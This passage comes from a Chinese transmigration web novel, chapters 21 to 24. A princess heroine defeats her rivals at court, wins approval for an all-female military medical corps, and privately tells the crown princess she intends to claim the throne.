五日后战事大胜的余温渐渐散去,皇帝仍未对冷小幸有所封赏。
以被冷小幸射死的那几个世家子弟为首的部分朝臣开始新一轮对她的围剿。
他们举着孝悌的大旗,想要将冷小幸永远定死在耻辱柱上。
历来朝臣收到弹劾,需放下手中事务上折自辩。
之前朝臣们领教过冷小幸的口齿,这次他们做了充足准备,多角度多方面引经据典势要把冷小幸驳倒,同时他们认为皇帝对冷小幸亦有不满才没有封赏她,自以为圣心在握,没有任何留手。
雪花白的弹劾折子飞向尚书台。
这般声势浩大,若是其他血条薄的臣子大概唯有一死。
可冷小幸不仅没有上折自辩,反而要求朝廷对涉及到世家进行审判,毕竟这些世家的小辈投敌叛国人证物证具在,焉知不是受家族指使?
皇帝准奏,命大理寺、刑部、御史台三司会审。
接着,皇帝明旨昭告天下因二皇子被俘扣边投递叛国将其贬为庶民,赐死其生母淑妃,问罪淑妃母家宣平侯府,宣平侯府夺爵抄家。
投敌叛国属十恶不赦之罪,三司审理的很快,联合上奏朝廷称查明这些世家确有投递叛国之不轨行为,另查明还有强夺田产、欺压百姓、横征暴敛、蓄养豪奴、草菅人命等等罪行,当数罪并罚抄家夺爵,三代以内血亲问斩,五服之内的其他亲眷流放三千里。
皇帝与政事堂很快批准了审案判决。
不用等秋后问斩,白养着那么多人,立即分批杀了便是。
一时间,菜市场人头滚滚。
这样的惊天逆转,叫公主系统心惊胆战。
“你怕什么?”冷小幸在蓬莱殿写奏章,她握笔沾墨道。
公主系统答非所问道:“我
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不懂,为什么父皇和那些大臣会这样偏袒你?”
“你在胡说些什么?皇帝和重臣不是在偏袒我,他们是在维护司法的公正,捍卫王朝的尊严,确保朝纲的稳固。”冷小幸失笑道:“当然也有杀一儆百,扩充国库的心思。”
“可这些世家全然无辜吗?先不说投敌叛国这个大罪是否属实,三司会审的其他罪可都是证据确凿。他们鱼肉百姓、祸患乡里,难道不该死?”
冷小幸自问自答:“他们本就该死,至于投敌叛国之罪,也不算冤了他们。这次能跟在二皇子身边的,哪一个不是这是这些世家竭力培养的下一代继承人?居然一个有能力有骨气的都没有,没本事被抓就算了,以死明志、以身殉国做不到也罢了,可他们怎么能做出扣边这种无耻行为的?”
“这难道不是那几个世家教育的结果吗?他们能教出这样的儿子,有心投递叛国也不算意外。而且,朝廷对世家的削弱势在必行,你觉得他们真的没有叛国的举动吗?三司真的冤枉了他们吗?”冷小幸冷笑道。
公主系统扶着胸口,战战兢兢道:“可你不怕吗?因为你死了那么多人,那么多家族一夕之间家破人亡。你不怕死去的人向你索命吗?活着的人不顾一切报复你吗?”
“他们为祸百姓时,难道怕过含冤而死的百姓向他们索命吗?他们都不怕,我怕什么?我倒希望你们这个世界设定了地府,让他们死后去十八层地狱好好受受刑,让那些百姓出口恶气。”
冷小幸嗤笑道:“至于活着的人,哎呦,他们可快点来报复我吧,有跳梁小丑演戏,不看白不看呢。”
“如果那些被你射死的世家子真的犯了投敌大错,那些世家又怎么敢联合朝臣上折给你定罪呢?”公主系统被冷小幸笑声刺到,反问道。
“不是,你的脑子真的被驴踢了,他们都扣边了,这不叫投敌,什么叫投敌?”冷小幸翻了个白眼道:“至于那些世家为什么敢叫嚣着给我定罪?当然是因为我穿成了你,是个公主,不是个有继承权的皇子。”
“历朝历代投递叛国这样的十恶不赦大罪,怎么可能不祸及家族?当然是他们觉得我是个女子,且皇帝对我有所不满并未封赏我,才敢公然上书弹劾我,妄想将我打压到泥土里。”
冷小幸断言道:“我若穿成个皇子,立下这样的战功,必会得到封赏。而这些世家早在他们子弟死讯传来时,就会忙不迭上书请罪,立刻跟那些畜生断绝关系,你明白吗?”
公主系统不明白,为什么上一世她循规蹈矩,处处听从世家规矩,却死于非命。冷小幸不肯听它的话,不肯做一个贤良淑德的好女人,却可以让那些曾经用规矩束缚它的世家遭到重创,甚至人头落地。
嗡的一声,好像一道惊雷劈在了公主系统的脑海里,一些看不见摸不着的迷雾被劈散了些,她晃晃脑袋道:“你以吴思齐不曾扣边为由劝父皇从轻发落宣平侯府,不是因为我的劝告,而是因为现在还不能杀吴思齐。对吗?可你上次不是说很快就能杀他了吗?”
21.替驸马养私生子的公主21
冷小幸不回答,专心写奏折,直到写完最后一个字,将毛笔搁在笔架上,把奏折在眼前展开,飞速过了一遍,才满面笑意道:“确实很快就可以杀他了。”
“你别杀......”公主系统习惯性张口。
冷小幸立刻打断:“我劝你好好想想再说话。”
公主系统嘴巴张了又张,最终沉默不语。
冷小幸没有把奏折按程序送到尚书台,而是在大朝会时当众宣读。
上面写的是关于医疗队整体建设方案,对医疗队军医的人员选拔、培养、待遇、如何列入军队编制等方面详细论述。
这些不是重点,重点是奏折上冷小幸明确提出只许女子参与军医遴选。
如今能上朝堂的女子唯有冷小幸一人而已,她这样要求极大触犯了余下所有人的利益。
太医院院判最出声:“殿下,战伤救治需通医理、历来只有男子学医,女子不通医术,恐怕难以胜任军医一职。”
“女子不通医术,是因为无人教她们,本宫亲自教导有什么可担心的?”冷小幸矜傲道:“你方才说历来只有男子学医?怎么?在你眼中本宫不是女人吗?”
“臣不敢,是臣失言,请公主恕罪。”太医院院判忙躬身道。
冷小幸讥讽道:“你莫不是忘了你这院官位是怎么来的?昔日若非冯院判一众太医医术不精,治不好父皇,反将父皇病情泄露给乱臣贼子,以致获罪伏诛,又何来你的今日?是本宫治好父皇,你才有机会执掌太医院,现下竟敢在本宫面前大放厥词?说什么女子不通医术?你这样的蠢货也配当待在太医院舔居院判之位!”
冷小幸这样说,太医院院判哪里还能站得住?只得摘下官帽向皇帝请罪。
见皇帝稳坐龙椅并不出言挽留,太医院院判只好当场辞官。
皇帝大手一挥准奏。
太医院院判失魂落魄走出宣政殿,剩下的人心有戚戚。
片刻后,吏部尚书缓缓开口对冷小幸道:“殿下,臣有一言。此例一开,该如何管理?升迁、退役安置等皆无旧例可循。选男子则可按现有军制办理,更为稳妥。”
“奏折中本宫已提到俸禄可按现有军医标准发放,至于其它是你吏部分内之事,”冷小幸持着奏折道:“难不成吏部力有不逮,想要本宫给你们打白工不成?”
“尚书大人是把本宫当三岁孩童蒙骗吗?先一句无旧例可循,后一句可按现有军制办理。这么自相矛盾的话,亏你说得出口。”冷小幸嗤笑道。
吏部尚书面不改色道:“殿下何必胡搅蛮缠,自降身份。您明明知道臣的意思是女子为军医无无旧例可循,男子则可按现有军制。男女酬劳岂能混为一谈?”
“有何不能?男女本该同工同酬,方为公平。”冷小幸做思考状道:“且本宫没记错的话,此次大赏三军,本宫带去的医者,不分男女封赏相同。这不是有先例吗?”
吏部尚书张嘴想要辩解,就被冷小幸接下来这句:“难道尚书大人把本宫未得封赏,记成了此次出征的所有女子都没得封赏?”给堵了回去。
“这是可以当着满朝文武说的吗?我不想搅进你们父女之间的浑水里啊。”吏部尚书内心呐喊着,不敢再与冷小幸纠缠,铩羽而归。
宣政殿再次陷入尴尬的沉默,朝臣低着头一个个只当自己是个聋子,刚刚什么都没听到。
唯有皇帝、冷小幸神态自若,环视全场。
冷小幸看了三圈见无人出列道:“既然诸位大人都不反对,那便这么定了?”
户部尚书及时挺身而出,对冷小幸拱手道:“殿下,募女子入营组建医疗队,需另行置办女子的营舍、装备,且日常训练、粮饷等多了许多开支,不如直接从军中辅兵遴选,稍加培训即可充任军医,既省费用又省功夫。”
“军中辅兵难道没有其它事做?长此以往名不符实,”冷小幸:“医疗队可以有效减少士兵伤亡,减轻医药费用、抚恤费、安置费、再次招募士兵支出等费用。这个账,大人若是现在算不清,待会下了朝可以好生算算,再反对不迟。”
户部尚书无言以对,先行退下。
礼部尚书补位,他忧心忡忡道:“殿下,并非我等有意反对,只是此风一开,民间女子竞相效仿,谁还愿安心持家?家不成家,久而久之恐怕有社稷动荡之危啊,还请公主三思。”
“原来你们知道,你们之所以能建功立业,是因为你们家中的妇人为打理内务,让你们没有后顾之忧啊。”冷小幸毫不留情,一针见血道。
冷小幸朗声道:“难道只有男子有报效家国之心吗?天下女子多的是愿为国效力却无路之人,何不给她们一个机会?教化万民,正是礼部的职责所在呀。尚书大人,你说是不是?”
礼部尚书感觉很憋屈,他反对女子做军医,是因为此列一开,以后各行各业都会出现女子的身影,假以时日甚至会有女官员、女将军上朝堂,可朝廷的位置、世间的岗位就那么多,女人走出家门抢的可是男人的饭碗,他是男人当然不愿意。
但是,女人能走出家门的前提是她们受教育,而这是礼部的活,礼部会因此扩大在朝中的影响力,增加在朝堂的权重,作为礼部尚书,礼部的最高官员在冷小幸光明正大提出这一点后,他没法代表礼部反对。
“殿下,说的是。”礼部尚书咬牙后退。
这下,其他朝臣的目光有意无意落在了兵部尚书身上。
兵部尚书如芒在背,出列道:“女子胆小没受过军中操练,若是战事吃紧,只怕是会临阵退缩”。
冷小幸抬眼,不急不躁道:“女子军医培养出来后,要去各军入职,她们是军中一员,隶属兵部。如何操练,是你兵部的事。若有临阵退逃者,自有军法处置,哦,当然少不了问责兵部,教导不利之罪。”
“这,”兵部尚书急中生智道:“操练需要时间,若是在这期间遇袭
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,她们连自保都做不到,反倒要将士分心保护,延误军机。”
冷小幸笑问道:“难道各军会将尚未训练好的军医安置在军营最前方?而不是设在主营后方安全区域?若如此你兵部是干什么吃的?这般无能将领又是如何选出的?”
兵部尚书无言以对,使出杀手锏:“军营中俱是血气方刚的士兵。女子混入,难免人心思浮动,乱了军中的士气和秩序。”
“尚书大人慎言,女军医并非‘混入’,而是一支建制完整的医疗队,自有纪律章程。”冷小幸不屑道:“再者,若是多出几个女子,便能乱了军中士气秩序,只能说是这些将士们心志不坚,难成大器,不该从军。”
冷小幸突然变色道:“大人何必说的这么婉转,直接说军中男子会对女军医图谋不轨,岂不明白些?女军医是有品级的朝廷命官,胆敢有人侵犯她们,是杀是剐按军法处置便是。本宫就不信,铡刀在前,他们还管不住下半身。”
“何况军中不乏有些容貌姣好,身量纤细的男子,他们也曾遭遇毒手,不就是因为侵犯他们的人无需付出代价。”冷小幸嘲弄道:“世家大族子弟喜欢找些相貌清俊的小厮泻火,不也是常有之事?大人怎么保证男子当了军医,就不会被猥亵呢?”
“公主身为女子,怎能说出如此荒淫之言?”立刻有朝臣道。
“哎哟,我是女子又怎么了?做这些事的,可都是男人呀,他们做的,本宫说不的?到底是谁无耻不要脸呀?”冷小幸都不看是谁说的,脱口而出嘲讽道。
不等他人反驳,冷小幸继续道:“本宫倒觉得,可以女军医入军营为机,加强军队制度建设,重塑军纪。尚书大人意下如何?”
兵部尚书能说什么呢?士兵互侵,是兵部失职,且这事到底不体面,在朝堂被冷小幸说破,史官在侧记录,为身后名,兵部尚书实在不能再多说了,含糊答应,赶忙站了回去。
尚书令叹了口气道:“殿下,男子也可以学着做照料之事,未必非要全用女子,不如男女一起先试行。”
“大人这话是哄本宫呢,这世上不知有多少事,由女子所创,只因有利可图便被男子窃取,”冷小幸悠悠道:“男女一起,试行着试行着便又成只能男子才能干的活计了。本宫可不上当。”
“诸位大人,并非本宫排挤男子,”冷小幸拿出她在军营慰问伤员做记录:“大家可以看看,从受伤士兵的感受来说,女子温柔细心,手法更轻,能够有效缓解他们的痛苦,这上面可都是伤员们的签字,并非本宫信口雌黄。”
记录在朝臣们手中传阅。
朝臣既怨士兵不知所谓乱签字,又恨冷小幸居然想到这招。
偏冷小幸还不识趣催促道:“看看内容,辩辨真伪就行,别想着把士兵名字记下日后给人家穿小鞋,这都是我大昌的功臣,是兵源,谁敢乱为,叫本宫知晓,绝不轻饶。”
记录交回冷小幸手中,她又拿出一份文书。
22.替驸马养私生子的公主22
众朝臣:“......”
不是,有完没完?就问你有完没完?又是什么东西?
冷小幸拿出的是一份数据分析报告,上面将此次战役中,所有军医治疗伤员效果如痊愈、好转、恶化等进行数据分析,结果显示女军医治疗过的伤员明显恢复更快,且未出现伤员死亡现象。
而男军医治疗过的伤员少部分出现恶化,甚至有极个别伤员死亡,且伤员痊愈时间普遍晚于女军医治疗的伤员。
冷小幸讲解完报告道:“谁治疗伤员是随机的,不存在男军医接收伤者更重的情况。本宫说以后外伤军医皆为女子,并非偏颇,而是因为事实如此。女子天生力气更小一些,更适合照料伤员,能最大限度减少士兵伤亡率,保存我军战力。至于原本各军配备的军医则不在此列。”
“再则,即便选拔出男子,本宫不教,尔等又待如何?难道要他们偷师吗?倒不知他们敢不敢以九族性命代价!”冷小幸霸气道。
朝臣们眼神交流,凝眉不语。
冷小幸等了片刻,终失望道:“既然诸位大人如此为难,便罢了。”
众朝臣闻言大喜,纷纷出言称赞冷小幸。
冷小幸一一受领,笑容满面对兵部尚书道:“以后大人可得跟户部打好关系,本宫亲自训练的医疗队可不便宜,得花大价钱买才行。”
“殿下,”兵部尚书脸上挂着笑,还未来得及收回去,听了这么一句,一时难以调整面部表情,面容扭曲道:“您方才说她们是有品级的朝廷命官,既是朝廷官员自然有俸禄,哪里有买卖之说?您是在说笑吧?是吧?”
“本宫是想给她们谋个官身,但你们不是不同意吗?那本宫只好自个建了,提前说好不依仗朝廷,本宫能力有限只能教出几支医疗队,以后哪个军队想要她们效力得付钱才行。若有多个军队想要,价高者得。”
户部尚书抢在兵部尚书前开口:“殿下,话可不能这么说,您是皇女,当为君上分忧,为黎明百姓谋福祉,医疗队是利国利民的事,怎么能成您的私产,染上铜臭之气呢?”
“本宫当朝公主,还活生生站在这,尔等就以大义逼迫,妄论那些无权无势的女子。”冷小幸转头对着殿角奋笔疾书的中年男子道:“史官,你可记清楚,今日欲抢我功绩的是......”
“殿下,”户部尚书欲哭无泪,失声打断。
尚书令向皇帝沉声道:“陛下,此事需各部协调配合,不如让各部先做出章程,再请陛下圣裁。”
皇帝道:“昭华把你的奏折给尚书台送一份,兵部、户部、吏部、礼部限期三日上折。”
下朝后,皇帝命尚书令等重臣去延英殿议事。
冷小幸则在崔嬷嬷等人的服侍下回内宫。
她不乘轿撵,慢悠悠散步到一个岔路口不回蓬莱殿,反倒向先皇后寝宫走去。
崔嬷嬷心念一动问道:“可要准备些祭拜贡品?”
“不必,”冷小幸摇头道。
昭华公主是先皇后的亲生女儿,也是先皇后如今在世唯一的孩子,责任守宫殿的宫人们自然不敢拦冷小幸,殷勤迎她进去。
冷小幸坐到以前昭华公主常坐的椅子上,见处处干净,色色齐整与先皇后在世时别无二致,可见宫人们用心至极。
公主系统哀哀哭泣,悲声怀母。
冷小幸听说皇帝常来此怀念先皇后,她此来倒不是为了怀念先皇后,更不是为了昭华公主,而是刚刚的朝堂对峙,让她对先皇后有了更层次的敬佩之情。
方才朝臣们没有用女子大门不出,二门不迈为由反对女军医,皆因先皇后的遗泽。
皇帝草根出身,他的班底大多也是草根,这年头人结婚早,他们所娶的妻子自然不会出自世家大族,多为乡野女子。
打天下时,男人们在外出征,女人操持家里一切事物,先皇后与皇帝最初班底的妻儿们甚是亲厚。
新朝建立后,皇帝大封群臣,部分新出炉的勋贵开始嫌弃糟糠之妻上不了台面,旧贵族亦有意联姻新贵。
有两三家迫不及待休妻另娶。
先皇后闻讯,换大朝服亲赴延英殿对着皇帝行大礼道:“这几人既能抛弃患难与共的结发妻子,可知是无情无义之徒,又怎能指望他们对陛下尽忠,对朝廷尽力呢?陛下当贬其官,以儆效尤。”
皇帝赞同先皇后所言,下旨将那几人一撸到底,变为白身。
帝后是否有意借机敲打因功生傲的勋贵,已不可考。
但此举确实及时刹住换/妻之风。
削官圣旨明发后,先皇后宣召那几人妻儿入宫觐见。
皇帝听说后,命人将孩子们带给他瞧瞧,接着考较一番,当下点了其中一个进宫做侍卫,又特许另外两家各一个有读书天分的孩子入国子学读书,同时以教子有方为名赐几位夫人诰命。
这样的大棒加大枣,既没有寒冷功臣的心,也遏制了新贵旧族间融合,更确保了勋贵发妻地位及其子的爵位继承权。
对于民间女子的影响则更加深远,先皇后乃至大部分高官重臣之妻不受贵族女子规矩束缚,上行下效,民间对女子言行便宽容许多,风气为之开放。
坐了一会,冷小幸起身回蓬莱殿。
紫藤悄悄与冷小幸道:“听说陛下招尚书令等大人为了给公主的封赏之事。”
“这消息你是从哪里听来的?”冷小幸闻言有些诧异。
“是方才王内侍的徒弟小兴子来送东西私下与奴婢说的。”
冷小幸闻言挑了一下眉。
紫藤觑着冷小幸面色,解释道:“之前公主出征在外,奴婢与柳嬷嬷消息不通,想着紫宸殿里伺候陛下的宫人们消息灵通些,便有意与他们更亲近了些。”
冷小幸不说话,紫藤慌了:“是不是给公主惹祸了。公主,奴婢......”
“没有,你做得很好,”冷小幸见紫藤脸都吓白了,忙安抚道:“王内侍是个小心谨慎的,他的徒弟不会无的放矢,想来是他们师徒想卖我们个好,不打紧,以后照旧来往便
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是。”
“是。”
冷小幸摸着下巴道:“皇嫂何时得空了,你去给她请个安,她若愿意让她身边的大宫女或崔嬷嬷教导你几句,也够你终身受益。她若不提,也就罢了。”
“奴婢明白,公主放心。”紫藤躬身道。
冷小幸对公主系统道:“瞧见了吗?不是所有的女人都想只做个贤妻良母,只要给一点缝隙,她们就会向外生长。”
公主系统撇嘴不服道:“私窥帝宗可是大罪,向外生长?哼,长到地府去吗?”
“胡说什么呢?”冷小幸无语道:“天下间论揣测圣心,没有人比王内侍更厉害,他主动示好本身就代表了宫中的风向。”
“切,就知道往自己脸上贴金,我看那个叫小兴子的,不过是来送东西顺嘴说了一句而已,”公主系统没好气道。
冷小幸反怼道:“你心知肚明王内侍的徒弟,怎么会无缘无故干跑腿的活。”
一人一统拌嘴间,宫女来报皇帝宣冷小幸到延英殿。
冷小幸到时,尚书令等人已走。
皇帝正吃桃呢,命冷小幸坐,吩咐内侍给冷小幸也端一盘。
他笑眯眯看着冷小幸咬了一口道:“甜吧?”
“嗯,”冷小幸嘴里含着桃子含糊应了声。
皇帝拿帕子擦手,见冷小幸吃完,慈笑道:“喜欢多吃点。”
冷小幸要来帕子道:“不吃啦,吃好啦。”
“那就说说吧,医疗队你打算怎么办?”皇帝笑呵呵道。
冷小幸沉吟道:“医疗队刚刚起步,在儿臣手中尚可,一旦成型必要归朝廷管理,这点毋庸置疑。”
“哦?”皇帝饶有兴致道:“那你在朝堂上寸步不让,非要把持不放,又是为何?”
“如此方能留出讨价还价的空间,儿臣不信父皇看不出,也不信满朝文武不明白。”冷小幸端起茶盏道。
皇帝并不动怒,好声好气道:“那我儿的底线是外伤医疗队必须全是女子?”
“不错。”冷小幸喝了口茶,只觉唇齿留香,她缓了缓道:“于公来说,女子较男子处理外伤,的确更为合适,更能胜任。于儿臣私心而言,儿臣既有意太子之位,那朝堂上多出一个女子,便是一份助力。”
皇帝听了,也没说好或不好,转而问道:“你方才去你母后宫中了?”
“是,”冷小幸如实回答:“若非母后对女子规范潜移默化重新定义,儿臣在朝堂必定举步维艰,不会这般容易。”
皇帝眼角有些湿润,片刻后道:“你既想要这个位置,便不能一味偏颇女子。”
冷小幸张口欲言。
皇帝摆手道:“父皇知道,此次情况特殊。父皇只是想提醒你,他日你若真做了皇帝,那么天下子民都是你的子民,朝堂上的臣子都是你的臣子,不可心存私念,厚此薄彼。”
冷小幸起身行礼,恭谨道:“谨受教。”
“今日你在朝堂上当众威胁户部尚书,有失分寸。”皇帝又道。
23.替驸马养私生子的公主23
冷小幸向前几步,走到皇帝身侧,半蹲下双手攥起皇帝的衣袖,凑到皇帝耳边悄声道:“儿臣也不是有意的,话赶话罢了,咱们家的臣子实在难缠。”
皇帝宠溺刮了刮冷小幸的鼻梁道:“你呀,比他们难缠多了。别人也就罢了,户部尚书那里,好歹去安抚一二。”
“儿臣才不去,”冷小幸撇过头。
皇帝无奈道:“你不去可以,叫你手下的人去。”
“父皇的意思是?”冷小幸眨着眼睛道。
“定国公家的小子不是在为你效力吗?”皇帝轻飘飘道:“让他代你去。”
冷小幸并不意外皇帝知道定国公世子等人投效她之事,她也没有过多解释之意,面露为难道:“儿臣在内宫,与外臣相交多有不便,父皇想让儿臣去公主府吗?”
“滑头,明知道你大嫂奏请出宫,朕多留她几日等你回来,便是有意让你接掌宫务。这会子惺惺作态,难道我们父女间有什么话不能摊开说?”皇帝板着脸,点着冷小幸脑门道。
冷小幸咧开嘴笑道:“不是父皇叫儿臣注意分寸吗?儿臣哪敢不听呀。哎呀,儿臣忙得很,哪有空管宫里的事。”
“你没空,难道愿意朕给嫔妃们六宫之权?”皇帝反问道。
“父皇也太看不起儿臣了,别说父皇只是让后妃摄六宫事,便是父皇立新皇后,将来又有嫡皇子降生,又能如何?这天下终究是有能者居之,若儿臣比不过比年纪小许多的弟弟,是儿臣无能,却是苍生之幸。”冷小幸敛身正色道。
皇帝亦坐直身子,长叹一声道:“你能这么想,再好不过。”
“罢了,此事容后再议。”皇帝凝神想了想道:“从你身边宫人中选两个得用的,报给宫闱局许她们自由出入宫门。”
“多谢父皇,儿臣就知道,父皇最疼我了。”冷小幸欢喜道。
历朝历代,唯有太子居于东宫,不必出宫开府。
为了让冷小幸获得类似的政治意向,皇帝甚至给冷小幸找了个打理宫务的好理由。
皇帝没有另立新后的打算,更没有尽快立新太子的想法。
短时间内没有皇后,没有太子妃,内庭没有合适人选接掌宫务的情况下,冷小幸作为已经休夫的公主,可以暂管,从礼法上不能说对,也不能说不对。
且这事,外臣也不好张嘴反对,若是皇帝是个傀儡,他们可以举着天家无私事的大旗不同意,但对上开国皇帝,臣子们可就没这个底气胆量了。
这会冷小幸拒绝皇帝好意后,皇帝仍然叫她住在宫中,还给了她可以公开与外臣交往的权利。
不得不说皇帝对冷小幸确是一副慈父心肠。
因皇帝还有政务要忙,父女聊又闲聊了几句,冷小幸便告退了。
回到蓬莱殿,冷小幸先写了条子命人送到宫闱局,又交代紫藤几句,紫藤得令出宫去定国公府。
当日,定国公世子的帖子送到了户部尚书府中。
晚间,下了值的户部尚书得知此事,不由想到今日君前对奏,他们几个臣子与皇帝商讨完冷小幸册封及其它政务后,皇帝想叫冷小幸前来,与他们几个一起小范围议议医疗队之事,却在听闻冷小幸在先皇后宫中作罢。
念及皇帝当时所言,以及接下来的吩咐,户部尚书一面心中暗道:“也不知昭华公主那时偏去先皇后寝宫是有意还是无意。”一面吩咐人去给定国公府上送回帖。
定国公世子走了一趟户部尚书家。
对于冷小幸在战役所作贡献应得的封赏,终于迎来了结果。
礼部牵头,联合宗人府、中书省草拟镇国公主封号、册文,呈请皇帝御批。
皇帝批准后,礼部核定册封礼仪流程,制诰敕、刻金册、金宝。
钦天监选定下月初五为册封吉日,皇帝特命在太极殿举办册封礼,由太子妃带领内侍省布置场地事宜。
消息传来,蓬莱殿个个喜气洋洋,由崔嬷嬷领着向冷小幸道喜。
冷小幸受了礼,赏宫人每人三个月俸银,叫他们谨记谦逊,不可张扬行事。
众人忙应了。
这厢刚刚说完话,就有宫女来报,太子妃来了。
冷小幸亲自迎出去,口里笑道:“嫂嫂怎么过来了?该是我去少阳宫才是。”
“想来你这正忙着,我便送上门来。”太子妃打趣道。
她二人落座,宫女奉上茶果。
太子妃先给冷小幸道喜,并不提册封事宜没有先例,该如何办是好,只道:“父皇原本有意让你接手宫闱。可我听说你不愿意,父皇命我再管几日。昭华,这是为何?你若打算长久住在宫中,管理宫务对你亦是便利。”
冷小幸挥手叫宫人们下去。
她对太子妃道:“先前我与嫂嫂说,我心中有一个想法,只是时机未到,不敢告诉嫂嫂。如今倒是可以说了。”
太子妃见冷小幸正襟危坐语气郑重,不由正色起来道:“妹妹请将,我洗耳恭听。”
“嫂嫂,我有意太子之位。将来我若登基,想立侄女为后世之君。”冷小幸抬手制止张嘴欲言的太子妃,缓缓道:“嫂嫂不必急于答复我,这是大事,合该好生想想。无论嫂嫂作何抉择,嫂嫂永远是我的亲嫂嫂,侄女也是我兄长留下唯一血脉。”
“若是宴宁不堪重任,妹妹打算如何是好?”太子妃凝神细思,良久方道。
宴宁皇帝亲自为小郡主取的名字。
冷小幸脱口而出:“父皇创建大昌,我则改革维新,所以第三代君王守成则以,当然若是圣明天子更加。”
“嫂嫂,此事若成,宴宁在你我教养下长大,虽不能成圣,但一定品行无亏。”冷小幸柔声道:“若是定了此事,我册封太子之后,便会请旨封宴宁为太孙。”
太子妃闻言面上不动声色,衣袖遮掩下原虚叠的双手猛然握紧。
冷小幸注视着太子妃道:“不过,若是嫂嫂不愿,我会从宗亲中选女孩们入宫教导,待她们长大再定人选。”
“一定不会做出立了侄女,再将她废黜之事。这点,嫂嫂尽可放心。”冷小幸做出承诺。
“你,”太子妃
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喉咙发干,涩声道:“你不打算生下自己的子嗣吗?”
冷小幸不以为然道:“这个么,确实不打算。”
太子妃嘴唇动了动。
“呵呵,”冷小幸眨眼笑道:“嫂嫂别误会,我没打算委屈自己,将来我必纳后宫,不过呢想进后宫的男人都得服下绝嗣药。”
太子妃惊诧道:“这怎么可能?他们怎么能答应。”
“不答应也行啊,不进宫不就好了,我又没说要强取豪夺。”冷小幸摊手道。
太子妃听了身形一晃,干咳一声将话在腹中滚了三四遍,才试探道:“那他们的品级,官位是?”
“品级?自有礼部操心。”冷小幸拿起一个黄灿灿的杏子掰开,递给太子妃一半道:“他们哪有官位?自古后宫不得干政,从未听说内命妇有官位的,内命夫当然也没有。”
太子妃木木接过杏子,有些呆愣。
这不能怪她,一个从小在封建社会长大的女子,一时间很难接受理解冷小幸的说辞。
“嫂嫂,你吃呀,酸酸甜甜,很好吃的。”冷小幸一口把属于自己的半个吃掉,又抓了几个放在太子妃手心里。
太子妃回神,与冷小幸说了几句闲话,就告辞了。
回到少阳宫的太子妃接过保姆手中的小郡主,只觉心乱如麻。
当年皇帝逐鹿天下时,太子妃已不是懵懂孩童。
先皇后与定国公夫人交好,自然也见过太子妃,对她很是喜爱。
后来,先皇后有意将当时十岁的太子妃养在身边,便向定国公夫人提了提。
这对定国公一家来说是大喜事,欢欢喜喜将她送到先皇后身边。
对此,太子妃没有丝毫不适,且定国公夫人、家中其他女眷长辈及妹妹们也常来向先皇后请安,太子妃也时常回家小住。
太子妃并没有寄人篱下之感,反而与先太子日渐熟络,可谓青梅竹马,两小无拆。
与先太子成婚后,更是情深义重,
先太子薨逝,太子妃伤心欲绝,若不是顾念当时还在腹中的孩子,早已随先太子而去。
那时全天下都在关注她这一胎是男是女?
生下女儿后,太子妃有些遗憾,也有些庆幸。
皇帝老了,不知能不能看到这孩子长大。
太子妃若是生下男孩,不知他能不能争得过年长的叔叔们?若是争不过叔叔们真的会放过这个孩子吗?
天家无情,太子妃不敢赌,也不能赌。
那时她看着满身通红的女儿,心想:“女儿也好,起码平安富贵一生。”
将来无论谁登基,对于兄长留下毫无威胁的的寡嫂侄女儿都不会亏待,只会加恩封赏,以示天子孝悌之义。
太子妃本以为带女儿出宫别居,将她平安养大,为她寻得如意郎君,就是最好的结局。
可现在,冷小幸愿将帝王之位送上。
这叫太子妃如何淡然处之?
冷小幸并非虚言诓骗,她确实有登上太子之位的希望,只是这希望还很渺茫。
24.替驸马养私生子的公主24
镇国二字若是封给一名皇子,说明他与太子之位只有一步之遥。
可对于女子来说,仍是难以逾越的鸿沟。
此刻太子妃心中燃起一簇火苗,她忽然觉得冷小幸一定能跨过去君临天下。
可冷小幸能做到是一回事,太子妃要不要带着自己尚在襁褓中的女儿和身后的赵国公府,站到冷小幸这艘船上,是另一回事。
小郡主是太子妃唯一的孩子,怎么珍爱都不为过。
她该相信冷小幸的许诺吗?
冷小幸真的会在当上皇帝后,不违约改立自己的子嗣吗?
天下真的有女子,不想要自己亲生骨肉吗?
冷小幸此举是不是只为得到赵国公府一系的支持、太子遗留的政治资源、大义名分?
太子妃不敢确定,她望着怀中的小郡主,不知不觉留下两行清泪,滴在小郡主白嫩的面庞上。
冰冷的泪水将小郡主刺激醒,她张嘴哭了起来。
保姆连忙接过小郡主安抚起来。
崔嬷嬷在旁用柔软的帕子轻轻擦拭小郡主脸上的泪痕。
她一边擦,一边小声劝太子妃道:“娘娘是又想起太子殿下了吧,娘娘伤心也要顾着自个的身子,太子殿下泉下有知想来也不愿看到娘娘日日伤怀。”
“娘娘,您看咱们郡主多乖啊。”崔嬷嬷劝了一句,又引着太子妃瞧瞧再次进入梦乡的小郡主。
太子妃看着女儿,觉得怀里空落落的,心中隐隐生出不甘。
凭什么?只因的她孩子是个女儿,从出生那一刻起就丧失了继承丈夫有形无形资产的权利,排除在皇位候选人之外。
想当初先皇后向母亲提出要将她养在身边时,家人是那么高兴,欣喜于她得到先皇后的看重,甚至有可能更进一步,将来母仪天下。
可哪又怎么样?凭什么她只能做外嫁女,她的兄弟们却能留在双亲身边承欢膝下,还能继承家业?
心中的不甘如野草般生长,太子妃再次接过女儿,垂眸不语。
公主系统则叽叽喳喳,对冷小幸说个不停:“你嫁人了,有驸马,还有孩子,怎么能纳后宫呢?怎么能说出给你后宫下绝嗣药这么恶毒的话呢?何况哪有女人不生孩子的,你都胡言乱语了些什么呀。”
“我已经把吴思齐休弃了,休弃了!懂吗?”冷小幸被公主系统这几句翻来覆去的车轱辘话吵的头疼。
她气哼哼道:“跟他夫妻关系的人,是你,不是我。你忘了?我不是单纯的魂穿,这具身体不是你的,是全新的,只不过跟你长得一样而已。”
“我是天外来客,怎么能在这个世界留下我的血脉?纳后宫怎么了?哪个皇帝不是三宫六院?哪个有权有势的男人不是三妻四妾?我都做皇帝了,收几个男人有什么稀奇的?我有正常生理需要,有什么问题?”冷小幸火力全开。
冷小幸不给公主系统插嘴的机会,接着道:“但不代表我愿意吃怀孕的苦,承担生育的风险。再说,我是要给他们下药,但也会提前争取他们同意。关你什么事?你激动什么?我记得前世你得知自己是被下了药才没孩子时,也没这么激动呀。”
“谁说我没有孩子,我有孩子。”公主系统叫嚷起来。
冷小幸就着屋内风扇带来冰盆的阵阵凉风,冷冰冰开口嗤笑道:“对,你有孩子,只不过不是你生的嘛,是你的好驸马和别人的生奸生子。”
公主系统被气倒。
冷小幸揉揉耳朵,哼了一声。
她不在意册封礼,没有先例又如何,那是礼部该操心的事。
